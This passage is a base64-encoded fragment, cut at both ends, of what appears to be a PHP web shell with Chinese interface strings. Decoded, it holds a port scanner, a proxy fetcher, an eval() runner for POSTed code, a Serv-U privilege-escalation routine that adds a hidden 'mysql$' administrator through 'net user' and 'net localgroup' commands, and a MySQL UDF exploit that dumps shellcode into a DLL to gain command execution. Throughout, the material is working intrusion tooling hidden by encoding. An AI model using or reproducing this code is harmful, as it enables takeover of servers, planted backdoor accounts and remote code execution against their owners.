0pKSAmJiAoIWVtcHR5KCRfUE9TVFsncG9ydCddKSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSRwb3J0cyA9IGV4cGxvZGUoJ3wnLCAkX1BPU1RbJ3BvcnQnXSk7DQoJCWZvcigkaSA9IDA7JGkgPCBjb3VudCgkcG9ydHMpOyRpKyspDQoJCXsNCgkJCSRmcCA9IEBmc29ja29wZW4oJF9QT1NUWydpcCddLCRwb3J0c1skaV0sJGVycm5vLCRlcnJzdHIsMik7DQoJCQllY2hvICRmcCA/ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+v6q3xbbLv9ogLS0tPiAnLiRwb3J0c1skaV0uJzwvZm9udD48YnI+JyA6ICe52LHVtsu/2iAtLS0+ICcuJHBvcnRzWyRpXS4nPGJyPic7DQoJCQlvYl9mbHVzaCgpOw0KCQkJZmx1c2goKTsNCgkJfQ0KCQllY2hvICc8L2Rpdj4nOw0KCX0NCglicmVhazsNCg0KDQoJY2FzZSAiZ2V0Y29kZSI6DQppZiAoaXNzZXQoJF9QT1NUWyd1cmwnXSkpIHskcHJveHljb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3VybCddKTtlY2hvICgkcHJveHljb250ZW50cykgPyAkcHJveHljb250ZW50cyA6ICI8Ym9keSBiZ2NvbG9yPVwiI0Y1RjVGNVwiIHN0eWxlPVwiZm9udC1zaXplOiAxMnB4O1wiPjxjZW50ZXI+PGJyPjxwPjxiPrvxyKEgVVJMIMTayN3Kp7DcPC9iPjwvcD48L2NlbnRlcj48L2JvZHk+IjtleGl0O30NCnByaW50PDw8RU5EDQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBiZ2NvbG9yPSIjZmZmZmZmIj4NCiA8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0icHJveHlmcmFtZSI+DQogIDx0ciBjbGFzcz0iZmlyc3RhbHQiPg0KCTx0ZCBhbGlnbj0iY2VudGVyIj48Yj7U2s/ftPrA7TwvYj48L3RkPg0KICA8L3RyPg0KICA8dHIgY2xhc3M9InNlY29uZGFsdCI+DQoJPHRkIGFsaWduPSJjZW50ZXIiICA+PGJyPjx1bD48bGk+08OxvrmmxNy99sq1z9a88rWltcQgSFRUUCC0+sDtLLK7u+HP1Mq+yrnTw8/gttTCt762tcTNvMasoaLBtL3TvLBDU1PR+cq9se0uPC9saT48bGk+08OxvrmmxNy/ydLUzai5/bG+t/7O8cb35K/AwMS/sepVUkwstauyu9ans9YgU1FMIEluamVjdGlvbiDMvbLi0tS8sMSz0KnM2Mri19a3+y48L2xpPjxsaT7Tw7G+uabE3OSvwMC1xCBVUkws1NrEv7Hq1ve7+snPwfTPwrXESVC8x8K8yscgOiB7JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ119PC9saT48L3VsPjwvdGQ+DQogIDwvdHI+DQogIDx0ciBjbGFzcz0iZmlyc3RhbHQiPg0KCTx0ZCBhbGlnbj0iY2VudGVyIiBoZWlnaHQ9NDAgID5VUkw6IDxpbnB1dCBuYW1lPSJ1cmwiIHZhbHVlPSJhYm91dDpibGFuayIgdHlwZT0idGV4dCIgIGNsYXNzPSJpbnB1dCIgc2l6ZT0iMTAwIiA+DQogPGlucHV0IG5hbWU9IiIgdmFsdWU9IuSvwMAiIHR5cGU9InN1Ym1pdCIgIGNsYXNzPSJpbnB1dCIgc2l6ZT0iMzAiID4NCjwvdGQ+DQogIDwvdHI+DQogIDx0ciBjbGFzcz0ic2Vjb25kYWx0Ij4NCgk8dGQgYWxpZ249ImNlbnRlciIgID48aWZyYW1lIG5hbWU9InByb3h5ZnJhbWUiIGZyYW1lYm9yZGVyPSIwIiB3aWR0aD0iNzY1IiBoZWlnaHQ9IjQwMCIgbWFyZ2luaGVpZ2h0PSIwIiBtYXJnaW53aWR0aD0iMCIgc2Nyb2xsaW5nPSJhdXRvIiBzcmM9ImFib3V0OmJsYW5rIj48L2lmcmFtZT48L3RkPg0KICA8L3RyPg0KPC9mb3JtPjwvdGFibGU+DQpFTkQ7DQoJYnJlYWs7DQoNCgljYXNlICJzZXJ2dSI6DQoJJFNVUGFzcyA9IGlzc2V0KCRfUE9TVFsnU1VQYXNzJ10pID8gJF9QT1NUWydTVVBhc3MnXSA6ICcjbEAkYWsjLmxrOzBAUCc7DQpwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj48YSBocmVmPSI/ZWFudmVyPXNlcnZ1Ij5b1rTQ0MP8we5dPC9hPiA8YSBocmVmPSI/ZWFudmVyPXNlcnZ1Jm89YWRkdXNlciI+W8ztvNPTw7unXTwvYT48L2Rpdj4NCjxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJPGRpdiBjbGFzcz0iYWN0YWxsIj5TZXJ2VbbLv9ogPGlucHV0IG5hbWU9IlNVUG9ydCIgdHlwZT0idGV4dCIgdmFsdWU9IjQzOTU4IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pg0KCTxkaXYgY2xhc3M9ImFjdGFsbCI+U2VydlXTw7unIDxpbnB1dCBuYW1lPSJTVVVzZXIiIHR5cGU9InRleHQiIHZhbHVlPSJMb2NhbEFkbWluaXN0cmF0b3IiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+DQoJPGRpdiBjbGFzcz0iYWN0YWxsIj5TZXJ2VcPcwusgPGlucHV0IG5hbWU9IlNVUGFzcyIgdHlwZT0idGV4dCIgdmFsdWU9InskU1VQYXNzfSIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCkVORDsNCmlmKCRfR0VUWydvJ10gPT0gJ2FkZHVzZXInKQ0Kew0KcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+1cq6xSA8aW5wdXQgbmFtZT0idXNlciIgdHlwZT0idGV4dCIgdmFsdWU9Im15c3FsJCIgc3R5bGU9IndpZHRoOjIwMHB4Ij4NCsPcwusgPGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iZW52bCIgc3R5bGU9IndpZHRoOjIwMHB4Ij4NCsS/wrwgPGlucHV0IG5hbWU9InBhcnQiIHR5cGU9InRleHQiIHZhbHVlPSJDOlxcXFwiIHN0eWxlPSJ3aWR0aDoyMDBweCI+PC9kaXY+DQpFTkQ7DQp9DQplbHNlDQp7DQpwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj7M4ciow/zB7iA8aW5wdXQgbmFtZT0iU1VDb21tYW5kIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ibmV0IHVzZXIgbXlzcWwkIGVudmwgL2FkZCAmIG5ldCBsb2NhbGdyb3VwIGFkbWluaXN0cmF0b3JzIG15c3FsJCAvYWRkIiBzdHlsZT0id2lkdGg6NjAwcHgiPjxicj4NCjxpbnB1dCBuYW1lPSJ1c2VyIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJlbnZsIj4NCjxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iZW52bCI+DQo8aW5wdXQgbmFtZT0icGFydCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iQzpcXFxcIj48L2Rpdj4NCkVORDsNCn0NCmVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ita00NAiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPic7DQoJaWYoKCFlbXB0eSgkX1BPU1RbJ1NVUG9ydCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ1NVVXNlciddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ1NVUGFzcyddKSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSRzZW5kYnVmID0gIiI7DQoJCSRyZWN2YnVmID0gIiI7DQoJCSRkb21haW4gID0gIi1TRVRET01BSU5cclxuIi4iLURvbWFpbj1oYXhvcmNpdG9zfDAuMC4wLjB8MjF8LTF8MXwwXHJcbiIuIi1UWk9FbmFibGU9MFxyXG4iLiIgVFpPS2V5PVxyXG4iOw0KCQkkYWRkdXNlciA9ICItU0VUVVNFUlNFVFVQXHJcbiIuIi1JUD0wLjAuMC4wXHJcbiIuIi1Qb3J0Tm89MjFcclxuIi4iLVVzZXI9Ii4kX1BPU1RbJ3VzZXInXS4iXHJcbiIuIi1QYXNzd29yZD0iLiRfUE9TVFsncGFzc3dvcmQnXS4iXHJcbiIuIi1Ib21lRGlyPWM6XFxcclxuIi4iLUxvZ2luTWVzRmlsZT1cclxuIi4iLURpc2FibGU9MFxyXG4iLiItUmVsUGF0aHM9MVxyXG4iLiItTmVlZFNlY3VyZT0wXHJcbiIuIi1IaWRlSGlkZGVuPTBcclxuIi4iLUFsd2F5c0FsbG93TG9naW49MFxyXG4iLiItQ2hhbmdlUGFzc3dvcmQ9MFxyXG4iLg0KCQkJCQkJCSAiLVF1b3RhRW5hYmxlPTBcclxuIi4iLU1heFVzZXJzTG9naW5QZXJJUD0tMVxyXG4iLiItU3BlZWRMaW1pdFVwPTBcclxuIi4iLVNwZWVkTGltaXREb3duPTBcclxuIi4iLU1heE5yVXNlcnM9LTFcclxuIi4iLUlkbGVUaW1lT3V0PTYwMFxyXG4iLiItU2Vzc2lvblRpbWVPdXQ9LTFcclxuIi4iLUV4cGlyZT0wXHJcbiIuIi1SYXRpb1VwPTFcclxuIi4iLVJhdGlvRG93bj0xXHJcbiIuIi1SYXRpb3NDcmVkaXQ9MFxyXG4iLiItUXVvdGFDdXJyZW50PTBcclxuIi4iLVF1b3RhTWF4aW11bT0wXHJcbiIuDQoJCQkJCQkJICItTWFpbnRlbmFuY2U9Tm9uZVxyXG4iLiItUGFzc3dvcmRUeXBlPVJlZ3VsYXJcclxuIi4iLVJhdGlvcz1Ob25lXHJcbiIuIiBBY2Nlc3M9Ii4kX1BPU1RbJ3BhcnQnXS4iXHxSV0FNRUxDRFBcclxuIjsNCgkJJGRlbGRvbWFpbiA9ICItREVMRVRFRE9NQUlOXHJcbiIuIi1JUD0wLjAuMC4wXHJcbiIuIiBQb3J0Tm89MjFcclxuIjsNCgkJJHNvY2sgPSBAZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAkX1BPU1RbIlNVUG9ydCJdLCRlcnJubywkZXJyc3RyLCAxMCk7DQoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCSRzZW5kYnVmID0gIlVTRVIgIi4kX1BPU1RbIlNVVXNlciJdLiJcclxuIjsNCgkJQGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7DQoJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOw0KCQkkc2VuZGJ1ZiA9ICJQQVNTICIuJF9QT1NUWyJTVVBhc3MiXS4iXHJcbiI7DQoJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQllY2hvICK3osvNyv2+3bD8OiAkc2VuZGJ1ZiA8YnI+IjsNCgkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOw0KCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJJHNlbmRidWYgPSAiU0lURSBNQUlOVEVOQU5DRVxyXG4iOw0KCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCSRzZW5kYnVmID0gJGRvbWFpbjsNCgkJQGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7DQoJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOw0KCQkkc2VuZGJ1ZiA9ICRhZGR1c2VyOw0KCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCWlmKCFlbXB0eSgkX1BPU1RbJ1NVQ29tbWFuZCddKSkNCgkJew0KCSAJCSRleHAgPSBAZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAiMjEiLCRlcnJubywkZXJyc3RyLCAxMCk7DQoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJGV4cCwgMTAyNCk7DQoJIAkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJIAkJJHNlbmRidWYgPSAiVVNFUiAiLiRfUE9TVFsndXNlciddLiJcclxuIjsNCgkgCQlAZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCSAJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCSAJCSRyZWN2YnVmID0gQGZnZXRzKCRleHAsIDEwMjQpOw0KCSAJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOw0KCSAJCSRzZW5kYnVmID0gIlBBU1MgIi4kX1BPU1RbJ3Bhc3N3b3JkJ10uIlxyXG4iOw0KCSAJCUBmcHV0cygkZXhwLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJIAkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJGV4cCwgMTAyNCk7DQoJIAkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJIAkJJHNlbmRidWYgPSAic2l0ZSBleGVjICIuJF9QT1NUWyJTVUNvbW1hbmQiXS4iXHJcbiI7DQoJIAkJQGZwdXRzKCRleHAsICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkgCQllY2hvICK3osvNyv2+3bD8OiBzaXRlIGV4ZWMgPGZvbnQgY29sb3I9IzAwNjYwMD4iLiRfUE9TVFsiU1VDb21tYW5kIl0uIjwvZm9udD4gPGJyPiI7DQoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJGV4cCwgMTAyNCk7DQoJIAkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJIAkJJHNlbmRidWYgPSAkZGVsZG9tYWluOw0KCSAJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCSAJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCSAJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkgCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkgCQlAZmNsb3NlKCRleHApOw0KCQl9DQoJCUBmY2xvc2UoJHNvY2spOw0KCQllY2hvICc8L2Rpdj4nOw0KCX0NCglicmVhazsNCg0KCWNhc2UgInBocGNvZGUiOg0KCSRwaHBjb2RlID0gaXNzZXQoJF9QT1NUWydwaHBjb2RlJ10pID8gJF9QT1NUWydwaHBjb2RlJ10gOiAicGhwaW5mbygpOyI7DQogICAgaWYoJHBocGNvZGUhPSdwaHBpbmZvKCk7JykkcGhwY29kZSA9IGh0bWxzcGVjaWFsY2hhcnMoYmFzZTY0X2RlY29kZSgkcGhwY29kZSkpOw0KCWVjaG8gJzxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPic7DQogICAgaHRtbF9iYXNlKCk7DQoJZWNobyAnZnVuY3Rpb24gU3VibWl0VXJsKCl7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3BocGNvZGVcJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdwaHBjb2RlXCcpLnZhbHVlKTsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnc2VuZGNvZGVcJykuc3VibWl0KCk7DQoJfTwvc2NyaXB0Pjx0cj48dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIiBpZD0ic2VuZGNvZGUiID6yu9PD0LQmbHQ7PyA/Jmd0O7Hqx6kstMu5psTc08W7r8q508NCQVNFNjS808PctKvLzaOst8DWubbx0uK0+sLrsbvAuaOs08PBy77N1qq1wKOo0KHQoc+4vdqjrNeitqizyb7No6k8YnI+PGJyPjx0ZXh0YXJlYSBDT0xTPSIxMjAiIFJPV1M9IjM1IiBuYW1lPSJwaHBjb2RlIiBpZD0icGhwY29kZSI+Jy4kcGhwY29kZS4nPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLWtNDQIiBvbmNsaWNrPSJTdWJtaXRVcmwoKTsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+JzsNCglpZighZW1wdHkoJF9QT1NUWydwaHBjb2RlJ10pKXsNCgllY2hvICI8YnI+PGJyPiI7DQogICAgZXZhbChzdHJpcHNsYXNoZXMoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3BocGNvZGUnXSkpKTsNCgl9DQoJaHRtbF9uKCc8L2Zvcm0+Jyk7DQoJYnJlYWs7DQoNCgljYXNlICJteWV4cCI6DQoJJE1TR19CT1ggPSAnx+vPyLW8s/ZETEws1NnWtNDQw/zB7i5NWVNRTNPDu6ex2NDrzqpyb290yKjP3iy1vLP2wre+trHY0OvE3LzT1NhETEzOxLz+Lic7DQoJJGluZm8gPSAnw/zB7rvYz9QnOw0KCSRtaG9zdCA9ICdsb2NhbGhvc3QnOyAkbXVzZXIgPSAncm9vdCc7ICRtcG9ydCA9ICczMzA2JzsgJG1wYXNzID0gJyc7ICRtZGF0YSA9ICdteXNxbCc7ICRtcGF0aCA9ICcnOyAkc3FsY21kID0gJ3Zlcic7DQoJaWYoaXNzZXQoJF9QT1NUWydtaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ211c2VyJ10pKQ0KCXsNCgkJQCRteXNxbDY0ID0gaXNzZXQoJF9QT1NUWydteXNxbDY0J10pP3RydWU6ZmFsc2U7aWYoJG15c3FsNjQpeyRteXNxbDY0PSdjaGVja2VkJzskQkg9J0JINjQuZGxsJzt9ZWxzZXskQkg9J0JILmRsbCc7fSAkbWhvc3QgPSAkX1BPU1RbJ21ob3N0J107ICRtdXNlciA9ICRfUE9TVFsnbXVzZXInXTsgJG1wYXNzID0gJF9QT1NUWydtcGFzcyddOyAkbWRhdGEgPSAkX1BPU1RbJ21kYXRhJ107ICRtcG9ydCA9ICRfUE9TVFsnbXBvcnQnXTsgJG1wYXRoID0gRmlsZV9TdHIoJF9QT1NUWydtcGF0aCddKTsgJHNxbGNtZCA9ICRfUE9TVFsnc3FsY21kJ107DQoJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkbWhvc3QuJzonLiRtcG9ydCwkbXVzZXIsJG1wYXNzKTsNCgkJaWYoJGNvbm4pDQoJCXsNCgkJCUBteXNxbF9zZWxlY3RfZGIoJG1kYXRhKTsNCgkJCS8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KCQkJJHN0cj1teXNxbF9nZXRfc2VydmVyX2luZm8oKTsNCgkJCS8vZWNobyAnTVlTUUyw5rG+OicuJHN0ci4iICAiOw0KDQoJCQlpZigkc3RyWzJdPj0xKXsNCgkJCSRzcWw9IlNIT1cgVkFSSUFCTEVTIExJS0UgJyVwbHVnaW5fZGlyJSciOw0KCQkJJHJvdz1teXNxbF9xdWVyeSgkc3FsLCRjb25uKTsNCgkJCSRyb3dzPW15c3FsX2ZldGNoX3Jvdygkcm93KTsNCgkJCSRwYT1zdHJfcmVwbGFjZSgnXFwnLCcvJywkcm93c1sxXSk7DQoJCQkkcGF0aD0kcGEuJy8nLiRCSDsNCg0KCQkJfWVsc2V7DQoJCQkkcGF0aD0nQzovV0lORE9XUy8nLiRCSDsNCgkJCX0NCgkJCS8vJG1wYXRoPSRwYXRoOw0KCQkJaWYoIWVtcHR5KCRtcGF0aCkpDQoJCQl7DQoJCQkJJG1wYXRoPSRtcGF0aDsNCgkJCX1lbHNlew0KCQkJCSRtcGF0aD0kcGF0aDsNCgkJCX0NCgkJCS8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KCQkJaWYoKCFlbXB0eSgkX1BPU1RbJ291dGRsbCddKSkgJiYgKCFlbXB0eSgkbXBhdGgpKSkNCgkJCXsNCgkJCQkkcXVlcnkgPSAiQ1JFQVRFIFRBQkxFIEVudmxfVGVtcF9UYWIgKGVudmwgQkxPQik7IjsNCgkJCQlpZihAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSkNCgkJCQl7DQoJCQkJCSRzaGVsbGNvZGUgPSAkbXlzcWw2ND9NeXNxbF9zaGVsbGNvZGU2NCgpOk15c3FsX3NoZWxsY29kZSgpOw0KCQkJCQkkcXVlcnkgPSAiSU5TRVJUIGludG8gRW52bF9UZW1wX1RhYiB2YWx1ZXMgKENPTlZFUlQoIi4kc2hlbGxjb2RlLiIsQ0hBUikpOyI7DQoJCQkJCWlmKEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pKQ0KCQkJCQl7DQoJCQkJCQkkcXVlcnkgPSAnU0VMRUNUIGVudmwgRlJPTSBFbnZsX1RlbXBfVGFiIElOVE8gRFVNUEZJTEUgXCcnLiRtcGF0aC4nXCc7JzsNCgkJCQkJCWlmKEBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pKQ0KCQkJCQkJew0KCQkJCQkJCSRhcCA9IGV4cGxvZGUoJy8nLCAkbXBhdGgpOyAkaW5wYXRoID0gYXJyYXlfcG9wKCRhcCk7DQoJCQkJCQkJJHF1ZXJ5ID0gJ0NyZWF0ZSBGdW5jdGlvbiBzeXNfZXZhbCByZXR1cm5zIHN0cmluZyBzb25hbWUgXCcnLiRpbnBhdGguJ1wnOyc7DQoJCQkJCQkJJE1TR19CT1ggPSBAbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKSA/ICewstewRExMs8m5picgOiAnsLLXsERMTMqnsNwnLm15c3FsX2Vycm9yKCk7DQoJCQkJCQl9DQoJCQkJCQllbHNlICRNU0dfQk9YID0gJ7W8s/ZETEzOxLz+yqew3CcubXlzcWxfZXJyb3IoKTsNCgkJCQkJfQ0KCQkJCQllbHNlICRNU0dfQk9YID0gJ9C0yOvB2cqxse3Kp7DcJzsNCgkJCQkJQG15c3FsX3F1ZXJ5KCdEUk9QIFRBQkxFIEVudmxfVGVtcF9UYWI7JywkY29ubik7DQoJCQkJfQ0KCQkJCWVsc2UgJE1TR19CT1ggPSAntLS9qMHZyrGx7cqnsNwnOw0KCQkJfQ0KCQkJaWYoIWVtcHR5KCRfUE9TVFsncnVuY21kJ10pKQ0KCQkJew0KCQkJCSRxdWVyeSA9ICdzZWxlY3Qgc3lzX2V2YWwoIicuJHNxbGNtZC4nIik7JzsNCgkJCQkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJaWYoJHJlc3VsdCkNCgkJCQl7DQoJCQkJCSRrID0gMDsgJGluZm8gPSBOVUxMOw0KCQkJCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKXskaW5mb3RtcCAuPSAkcm93WyRrXTskaysrO30NCgkJCQkJJGluZm8gPSAkaW5mb3RtcDsNCgkJCQkJJE1TR19CT1ggPSAn1rTQ0LPJuaYnOw0KCQkJCX0NCgkJCQllbHNlICRNU0dfQk9YID0gJ9a00NDKp7DcJzsNCgkJCX0NCgkJfQ0KCQllbHNlICRNU0dfQk9YID0gJ8GsvdNNWVNRTMqnsNwnOw0KCX0NCnByaW50PDw8RU5EDQo8Zm9ybSBpZD0ibWZvcm0iIG1ldGhvZD0iUE9TVCI+DQo8ZGl2IGlkPSJtc2dib3giIGNsYXNzPSJtc2dib3giPnskTVNHX0JPWH08L2Rpdj4NCjxjZW50ZXI+PGRpdiBjbGFzcz0iYWN0YWxsIj4NCrXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ieyRtaG9zdH0iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq2y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9InskbXBvcnR9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0K08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJ7JG11c2VyfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4NCsPcwusgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wYXNzIiB2YWx1ZT0ieyRtcGFzc30iIHN0eWxlPSJ3aWR0aDoxMTBweCI+DQq/4sP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZGF0YSIgdmFsdWU9InskbWRhdGF9IiBzdHlsZT0id2lkdGg6MTEwcHgiPg0KPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj4NCrzT1NjCt762KNfUtq+78cihKSA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9J2RsbGxqJyBuYW1lPSJtcGF0aCIgdmFsdWU9InskbXBhdGh9IiBzdHlsZT0id2lkdGg6NTAwcHgiPg0KNjTOu01ZU1FMIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RsbGxqJykudmFsdWU9Jyc7IiBuYW1lPSJteXNxbDY0IiB2YWx1ZT0iMSIgeyRteXNxbDY0fSAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ib3V0ZGxsIiB2YWx1ZT0isLLXsERMTCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+1qez1rjfsOaxvk1ZU1FMIDxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsY21kIiB2YWx1ZT0ieyRzcWxjbWR9IiBzdHlsZT0id2lkdGg6NjM1cHg7Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJ1bmNtZCIgdmFsdWU9Ita00NAiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQo8YnIgLz4NCjxwcmU+DQo8dGV4dGFyZWEgc3R5bGU9IndpZHRoOjcyMHB4O2hlaWdodDozMDBweDsiPnskaW5mb308L3RleHRhcmVhPg0KPC9wcmU+DQo8L2Rpdj48L2NlbnRlcj4NCjwvZm9ybT4NCkVORDsNCglicmVhazsNCg0KDQoJY2FzZSAibXlzcWxfZXhlYyI6DQogIGlmKGlzc2V0KCRfUE9TVFsnbWhvc3QnXSkgJiYgaXNzZXQoJF9QT1NUWydtcG9ydCddKSAmJiBpc3NldCgkX1BPU1RbJ211c2VyJ10pICYmIGlzc2V0KCRfUE9TVFsnbXBhc3MnXSkpDQogIHsNCiAgCWlmKEBteXNxbF9jb25uZWN0KCRfUE9TVFsnbWhvc3QnXS4nOicuJF9QT1NUWydtcG9ydCddLCRfUE9TVFsnbXVzZXInXSwkX1BPU1RbJ21wYXNzJ10pKQ0KCSAgew0KCSAgCSRjb29raWV0aW1lID0gdGltZSgpICsgMjQgKiAzNjAwOw0KCSAgCXNldGNvb2tpZSgnbV9lYW52ZXJob3N0JywkX1BPU1RbJ21ob3N0J10sJGNvb2tpZXRpbWUpOw0KCSAgCXNldGNvb2tpZSgnbV9lYW52ZXJwb3J0JywkX1BPU1RbJ21wb3J0J10sJGNvb2tpZXRpbWUpOw0KCSAgCXNldGNvb2tpZSgnbV9lYW52ZXJ1c2VyJywkX1BPU1RbJ211c2VyJ10sJGNvb2tpZXRpbWUpOw0KCSAgCXNldGNvb2tpZSgnbV9lYW52ZXJwYXNzJywkX1BPU1RbJ21wYXNzJ10sJGNvb2tpZXRpbWUpOw0KCSAgCWRpZSgn1f3U2rXHwrwsx+vJ1LryLi4uPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P2VhbnZlcj1teXNxbF9tc2ciPicpOw0KCSAgfQ0KICB9DQpwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJvZm9ybSIgaWQ9Im9mb3JtIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+tdjWtyA8a